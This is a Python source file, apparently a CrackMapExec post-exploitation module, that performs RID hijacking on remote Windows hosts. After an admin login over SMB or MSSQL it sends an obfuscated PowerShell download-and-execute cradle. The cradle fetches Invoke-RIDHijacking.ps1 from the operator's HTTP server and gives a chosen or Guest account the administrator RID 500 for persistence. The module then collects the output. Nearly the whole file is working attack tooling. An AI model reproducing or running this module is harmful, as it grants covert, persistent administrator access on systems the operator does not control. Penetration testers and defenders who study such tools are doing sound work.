90 lines
3.1 KiB
Python
90 lines
3.1 KiB
Python
from cme.helpers.powershell import *
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from cme.helpers.logger import write_log, highlight
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from datetime import datetime
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from io import StringIO
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import re
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class CMEModule:
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'''
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Executes Invoke-RIDhijacking.ps1 allowing to set desired privileges to an existent local account by modifying the Relative Identifier value copy used to create the access token
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Module by Sebastian Castro @r4wd3r
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'''
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name = 'rid_hijack'
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description = "Executes the RID hijacking persistence hook."
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supported_protocols = ['smb', 'mssql']
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opsec_safe = True
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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RID RID to set to the specified account. Default 500.
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USER User to set the defined RID.
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USEGUEST Boolean. Set the defined RID to the Guest account.
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PASSWORD Password to set to the defined account.
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ENABLE Boolean. Enable the defined account.
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'''
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self.rid = 500
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self.user = None
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self.password = None
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self.useguest = False
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self.enable = False
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if 'RID' in module_options:
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self.rid = int(module_options['RID'])
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if 'USER' in module_options:
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self.user = str(module_options['USER'])
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if 'PASSWORD' in module_options:
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self.password = str(module_options['PASSWORD'])
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if 'USEGUEST' in module_options:
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self.useguest = True
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if 'ENABLE' in module_options:
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self.enable = True
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self.ps_script1 = obfs_ps_script('RID-Hijacking/Invoke-RIDHijacking.ps1')
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def on_admin_login(self, context, connection):
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command = 'Invoke-RIDHijacking'
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command += ' -RID ' + str(self.rid)
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if self.user:
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command += ' -User ' + self.user
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if self.password:
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command += ' -Password ' + self.password
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if self.useguest:
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command += ' -UseGuest '
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if self.enable:
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command += ' -Enable '
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launcher = gen_ps_iex_cradle(context, 'Invoke-RIDHijacking.ps1', command)
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connection.ps_execute(launcher)
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context.log.success('Executed launcher')
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def on_request(self, context, request):
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if 'Invoke-RIDHijacking.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script1)
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else:
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request.send_response(404)
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request.end_headers()
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def on_response(self, context, response):
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response.send_response(200)
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response.end_headers()
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length = int(response.headers.getheader('content-length'))
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data = response.rfile.read(length)
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response.stop_tracking_host()
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if len(data):
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context.log.success('Invoke-RIDHijacking executed successfully')
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buf = StringIO(data.strip()).readlines()
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for line in buf:
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output = filter(None, re.split(r'(?:\s*\[.\]\s)', line.strip()))
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for o in output:
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context.log.highlight(o)
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